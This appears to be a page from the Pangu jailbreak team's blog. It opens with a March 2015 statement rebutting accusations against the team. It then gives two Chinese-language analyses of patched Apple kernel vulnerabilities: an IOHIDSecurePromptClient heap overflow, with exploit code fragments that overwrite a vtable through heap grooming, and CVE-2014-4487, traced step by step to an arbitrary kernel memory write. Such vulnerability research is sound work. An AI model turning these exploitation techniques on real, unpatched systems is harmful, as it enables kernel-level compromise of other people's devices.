Mar, 2015

Jailbreak Should not Tolerate Regional Discrimination

Since the first release of our untethered jailbreak tool Pangu 7 in June 2014, there have been many ridiculous rumors, discriminations, and vilifications on our team, especially from Stefan Esser (‏@i0n1c). As a team of “nerds”, we did not want to waste time on responding such useless things and hoped that eventually these things would stop after a while. We put 100% efforts on developing new jailbreaks for iOS 8 and successfully released Pangu 8 roughly a month after iOS 8 was released.

We could ignore the increasingly unfunny and ridiculous comments on our team, but cannot bear the racist comments from Stefan Esser in his recent talk at Syscan, which deliberately separate the jailbreak community with “Chinese” and “Western” labels and are full of morbid imaginations. In fact, many well-known iOS “Western” hackers including comex and P0sixninja are visiting Beijing, China today for a mobile security summit.

Apparently, the Pangu team cannot represent all Chinese jailbreak developers. We hereby just want to clarify the rumors, discriminations, and vilifications on our team.

The financial sponsorship of the Pangu team is mainly used to cover the cost of developing jailbreak tools

The “1 million USD” rumor was first posted when evasi0n 7 was released.

For us, our sponsorship is mainly used to support the development of jailbreak tools, cover the cost of software testing, and facility the download servers, etc. Note that, to make our untethered jailbreak tool reliable, we need to test all hardware models from iPhone 4s to iPhone 6 Plus, from iPad 2 to iPad Air, all iOS versions from 7.1 to 8.1. The sponsorship is also used to purchase all kinds of iOS devices for the testing purpose. But anyway, we are also wondering where the “1 million USD” is, LOL.

The Pangu team does not buy vulnerabilities, never and ever

In the first version of Pangu 7, among a number of vulnerabilities exploited in Pangu 7, we used the kernel information leaks discussed in Stefan Esser’s training course which have no NDA for the training. Also, it’s said that the vulnerability was already spreaded in a small range. So we leveraged the vulnerability in order to save our own vulnerability for next jailbreaks. But after receiving Stefan Esser’s criticism, we immediately released a new version of the jailbreak tool in which we replaced the vulnerability with our own vulnerability.
We have the ability and knowledge to continue to find more vulnerabilities and develop untethered jailbreak tools. We are very confident that we do not need to buy any vulnerability.

The Pangu team did not use any stolen/leaked enterprise certificates

In Pangu 7 and Pangu 8, we leveraged expired enterprise certificates to initial the jailbreaking process. We are very glad that some of jailbreak fans donated their own expired enterprise certificates to us. On the other hand, an enterprise certificate only costs a few hundreds dollars. We don’t see any reason to steal an enterprise certificate.

Feedback to the community

We learned a lot from previous jailbreak tools and the jailbreak community. We also want to share our knowledge with the community. That’s why we presented the details of our techniques at Syscan360 2014, POC 2014, and CanSecWest 2015. We also have many blogs discussing patched vulnerabilities in iOS kernels at blog.pangu.io.

In addition, we closely worked with Saurik, the developer of Cydia, to make Cydia work on iOS 8. We hope jailbreak users would like our efforts.

We did obfuscate the code of our jailbreak tools, but it is mainly to prevent the jailbreak exploits from being used, and prevent Apple from easily understanding and fixing the vulnerabilities. So far it really worked.

With the every release of untethered jailbreaks, we always see similar nonsense comments from certain people. We felt very sad for wasting time on writing such a non-technical article. In our future talks at any security conference, we will only focus on technical stuff to respect all attendees, rather than wasting their time with balderdash. While some people run training courses based on iDevices jailbroken by public tools, jailbreak tool developers release tools for free and share the details of tools for free.

Yes, we are Chinese. We are grateful to the jailbreak community, and we are also proud of being a member of the jailbreak community and being able to contribute to the community. We were so excited that Pangu 7 and Pangu 8 were downloaded by many millions of times from all over the world. We hope the jailbreak community should not judge a work for its developers’ race, creed, color, or religion.

Finally, we will continue to put efforts on pure, technical research, and try our best to contribute to the security community in future. This is our final response to these comments.

Thanks,

The Pangu Team
March 27, 2015.

IOHIDSecurePromptClient::injectStringGated Heap Overflow

IOHIDSecurePromptClient::injectStringGated堆溢出漏洞

update – 漏洞发现者博客

前两周网上有披露一个IOHID中的堆溢出漏洞,并且有完整的攻击代码,这里做个简单的分析:D

漏洞出现在IOHIDSecurePromptClient的12号处理函数中:


IOExternalMethod *
IOHIDSecurePromptClient::getTargetAndMethodForIndex(IOService ** targetP, 
                                                    UInt32 index)
{
        ...
        // 12: kIOHIDSecurePromptClient_injectString
        { NULL, (IOMethod)&IOHIDSecurePromptClient::injectStringMethod, kIOUCStructIStructO, kIOUCVariableStructureSize, 0 },       
        ...
};

injectStringMethod -> injectStringGated 函数中将输入的参数拷贝到缓冲区时没有对长度做任何检查,从而会导致堆溢出:


IOReturn
IOHIDSecurePromptClient::injectStringGated(void * p1, void * p2, void * p3 __unused,void * p4 __unused)
{
    IOReturn result = kIOReturnBadArgument;
    IOHIDSecurePromptClient_RawKeystrokeData * dummyRawData = NULL;
    UTF32Char *string = (UTF32Char*)p1;
    intptr_t length = (intptr_t)p2 / sizeof(UTF32Char);
    vm_size_t dummyDataSize = length * sizeof(IOHIDSecurePromptClient_RawKeystrokeData);

    ...

    dummyRawData = (IOHIDSecurePromptClient_RawKeystrokeData*)IOMalloc(dummyDataSize);
    memset(dummyRawData, 0xff, dummyDataSize);

    // _reserved->rawKeystrokes是在IOServiceOpen的时候分配的堆内存,在这里拷贝的时候没有检查输入的length
    __InsertBytes(_reserved->rawKeystrokes, _reserved->insertionPoint, _reserved->stringLength, string, length,  sizeof(UTF32Char));
    __InsertBytes(_reserved->unicode, _reserved->insertionPoint, _reserved->stringLength, dummyRawData, length,  sizeof(UTF32Char));
    __EraseMemory(string, length * sizeof(UTF32Char));
    _reserved->insertionPoint += length;
    result = kIOReturnSuccess;

    ...
}

_reserved->rawKeystrokes的初始化在 initWithTask -> ensureBufferSize 函数中:

bool
IOHIDSecurePromptClient::initWithTask(task_t owningTask, 
                                      void* security_id,
                                      UInt32 type,
                                      OSDictionary * properties)
{
    ...

    // initially we allow for a 32 character password but will grow it if needed
    require_noerr(ensureBufferSize(32), init_error);

    ...
}

IOReturn
IOHIDSecurePromptClient::ensureBufferSize(UInt32 size)
{
    ...    

    // newSize = size = 32
    // round size up to next power of two
    newSize--;
    newSize |= newSize >> 1;
    newSize |= newSize >> 2;
    newSize |= newSize >> 4;
    newSize |= newSize >> 8;
    newSize |= newSize >> 16;
    newSize++;    

    result = kIOReturnNoMemory;
    require(newSize < 1024, finished);

    newBufferSize = newSize * (sizeof(UTF32Char) + sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    // newBufferSize = 32*12 = 384 分配的堆在kalloc.512的zone里
    newBuffer = (UInt8*)IOMalloc(newBufferSize);
    require(newBuffer, finished);
    newKeystrokeOffset = newBuffer + newSize * sizeof(UTF32Char);
    memcpy(newBuffer, _reserved->unicode, _reserved->stringLength * sizeof(UTF32Char));
    memcpy(newKeystrokeOffset, _reserved->rawKeystrokes, _reserved->stringLength * sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    oldBuffer = (UInt8*)_reserved->unicode;
    oldBufferSize = _reserved->bufferLength * (sizeof(UTF32Char) + sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    _reserved->unicode = (UTF32Char*)newBuffer;
    // _reserved->rawKeystrokes 被设置为 newBuffer+32*4 的位置
    _reserved->rawKeystrokes = (IOHIDSecurePromptClient_RawKeystrokeData*)newKeystrokeOffset;
    _reserved->bufferLength = newSize;
    newBuffer = NULL;
    result = kIOReturnSuccess;

    ...
}

攻击代码中的利用思路:通过heap风水使newBuffer正好分配在一个IOUserClient对象(同样在kalloc.521)的前面,那么通过调用injectStringGated溢出8字节就可以修改之后对象的vtable,从而获取代码执行的可能。注意传入的参数对象长度是 512-32*4+size_to_overwrite(demo代码中为8字节vtable地址) = 384+8

int main(int argc, const char * argv[]) {
    ...

    uint64_t payload[1];
    void** vtable = alloc((void*)0x1337100000, 0x1000);
    payload[0] = (uint64_t)vtable;

    if (!lsym_heap_overflow((void*)payload, sizeof(payload)))
    {
        printf("[-] Heap overflow unsuccessful.n");
    }

    ...
}

char lsym_heap_overflow(char* data, size_t size) {
    ...

    size += 384;

    char* payload = malloc(size);

    memcpy(payload + 384, data, size - 384);

    if (size >= lsym_heap_overflow_bufsize()) {
        return 0;
    }

    err = IOConnectCallMethod(conn, 10, NULL, 0, payload,  size, NULL, 0, NULL, 0); // heap overflow >= 10.10.1

    if (err != KERN_SUCCESS)
        err = IOConnectCallMethod(conn, 12, NULL, 0, payload,  size, NULL, 0, NULL, 0); // heap overflow <= 10.10.1

    if (err != KERN_SUCCESS) return 0;

    return 1;
}

CVE-2014-4487 – IOHIDLibUserClient堆溢出漏洞

漏洞描述

通过查看IOHIDFamily的代码,检查IOHIDLibUserClient的15号处理函数_getElements。该函数的入参是1个uint64,指定要获取的element是哪个队列的。出参是一个struct结构,无固定长度。


    { //    kIOHIDLibUserClientGetElements
    (IOExternalMethodAction) &IOHIDLibUserClient::_getElements,
    1, 0,
    0, kIOUCVariableStructureSize
    },

在返回映射内存的时候包含了整个数据区的大小

IOMemoryDescriptor *IOSharedDataQueue::getMemoryDescriptor()
{
    IOMemoryDescriptor *descriptor = 0;

    if (dataQueue != 0) {
        descriptor = IOMemoryDescriptor::withAddress(dataQueue, getQueueSize() + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE, kIODirectionOutIn);
    }

    return descriptor;
}

通过IOConnectSetNotificationPort可以设置一个通知端口,用于当队列发生变化时接收到通知。notifyMsg中包含了一个内核结构port,该内核结构被暴露到了用户态下

void IODataQueue::setNotificationPort(mach_port_t port)
{
    mach_msg_header_t * msgh = (mach_msg_header_t *) notifyMsg;

    if (msgh) {
        bzero(msgh, sizeof(mach_msg_header_t));
        msgh->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
        msgh->msgh_size = sizeof(mach_msg_header_t);
        msgh->msgh_remote_port = port;
    }
}

利用思路

通过映射内存后我们可以在用户态下修改port指针,而port指针在发送队列变化通知时会被使用

void IODataQueue::sendDataAvailableNotification()
{
    kern_return_t       kr;
    mach_msg_header_t * msgh;

    msgh = (mach_msg_header_t *) notifyMsg;
    if (msgh && msgh->msgh_remote_port) {
        kr = mach_msg_send_from_kernel_with_options(msgh, msgh->msgh_size, MACH_SEND_TIMEOUT, MACH_MSG_TIMEOUT_NONE);
        switch(kr) {
            case MACH_SEND_TIMED_OUT:    // Notification already sent
            case MACH_MSG_SUCCESS:
            case MACH_SEND_NO_BUFFER:
                break;
            default:
                IOLog("%s: dataAvailableNotification failed - msg_send returned: %dn", /*getName()*/"IODataQueue", kr);
                break;
        }
    }
}

sendDataAvailableNotification -> mach_msg_send_from_kernel_with_options -> ipc_kmsg_get_from_kernel 函数中存在一个内存拷贝的操作,通过精心构造数据控制port指向的内容,可以转换成任意的内存写的利用

mach_msg_return_t
ipc_kmsg_get_from_kernel(
    mach_msg_header_t   *msg,
    mach_msg_size_t size,
    ipc_kmsg_t      *kmsgp)
{
    ...

    dest_port = (ipc_port_t)msg->msgh_remote_port;

    msg_and_trailer_size = size + MAX_TRAILER_SIZE;

    /*
     * See if the port has a pre-allocated kmsg for kernel
     * clients.  These are set up for those kernel clients
     * which cannot afford to wait.
     */
    if (IP_VALID(dest_port) && IP_PREALLOC(dest_port)) {
        ...

        // 控制port的内容后可以控制kmsg
        kmsg = dest_port->ip_premsg;
        if (ikm_prealloc_inuse(kmsg)) {
            ip_unlock(dest_port);
            return MACH_SEND_NO_BUFFER;
        }

        ...
    }
    else
    {
        kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
        if (kmsg == IKM_NULL)
            return MACH_SEND_NO_BUFFER;
    }

    // kmsg->ikm_header可控,msg就是notifyMsg结构,也可控,size也可控
    (void) memcpy((void *) kmsg->ikm_header, (const void *) msg, size);

    ...
}

触发条件

  • 首先需要找到使用IOSharedDataQueue来处理数据的对象
  • 通过IOConnectSetNotificationPort设置内核port
  • 通过IOConnectMapMemory获取映射内存,从而可以修改notifyMsg中的port数据
  • 内核heap风水控制数据后修改port,当队列发生变化时触发漏洞,达到任意写内核内存的目的